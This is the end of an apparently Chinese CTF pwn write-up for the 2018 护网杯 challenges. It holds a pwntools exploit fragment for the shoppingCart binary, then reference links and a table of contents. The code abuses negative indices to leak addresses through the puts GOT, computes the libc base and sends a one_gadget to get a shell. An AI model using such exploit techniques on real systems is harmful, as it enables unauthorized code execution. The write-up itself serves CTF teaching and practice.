getmoney(io,0x14)
addr = edit_goods(io,'-47','',1)
elf_base = addr - 0x202068

io.sendline(p64(addr))
puts_got = elf_base + 0x202020
money_name1 = elf_base + 0x2020a8
# gdb.attach(io)
edit_goods(io,'-0x14',p64(money_name1),0) #money_name[0]->money_name[1]
edit_goods(io,'-0x13',p64(puts_got),0) #money_name[1]=puts_got

puts_addr = edit_goods(io,'-0x28','',1)
print "puts_addr="+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
shell = p64(libc_base + 0x45216)
io.send(shell)

io.interactive()

Reference

https://laucyun.com/3411bc6f400207178b85defa04474b4a.html#directory-0146717171785671911
https://xz.aliyun.com/t/2897#
https://veritas501.space/2018/10/15/%E6%8A%A4%E7%BD%91%E6%9D%AF%20pwn%20wp/

https://blog.csdn.net/w12315q/article/details/83119560
http://m4x.fun/post/hwb2018-pwn-writeup/
https://www.jianshu.com/p/9375c32b2159

https://www.freebuf.com/articles/rookie/155971.html
http://p4nda.top/2018/10/14/hwb-ctf-2018/
https://blog.csdn.net/qq_38204481/article/details/83216384
http://transparentsite.top/2018/10/%E6%8A%A4%E7%BD%91%E6%9D%AFpwn-shoppingcart/
https://www.jianshu.com/p/b96e90ff6f72
https://waterdrop-team.github.io/2018/10/13/hwb-2018-writeup/
http://blog.leanote.com/cate/xp0int/%E6%8A%A4%E7%BD%91%E6%9D%AF2018

文章目录
  1. Pwn
    1. gettingstart
      1. 0x00 file && checksec
      2. 0x01 运行程序,观察程序功能
      3. 0x02 IDA分析
      4. 0x03 exp
      5. 0x04 总结
    2. six
      1. 0x00 file && checksec
      2. 0x01 观察程序行为
      3. 0x02 IDA分析
      4. 0x03 exp
      5. 0x04 总结
    3. huwang
      1. 0x00 file && checksec
      2. 0x01 观察程序行为
      3. 0x02 IDA分析
      4. 0x03 exp
      5. 0x04 总结
    4. shoppingCart
      1. 0x00 file && checksec
      2. 0x01 运行程序,观察程序功能
      3. 0x02 IDA静态分析
      4. 0x03 exp(non-heap)
    5. Reference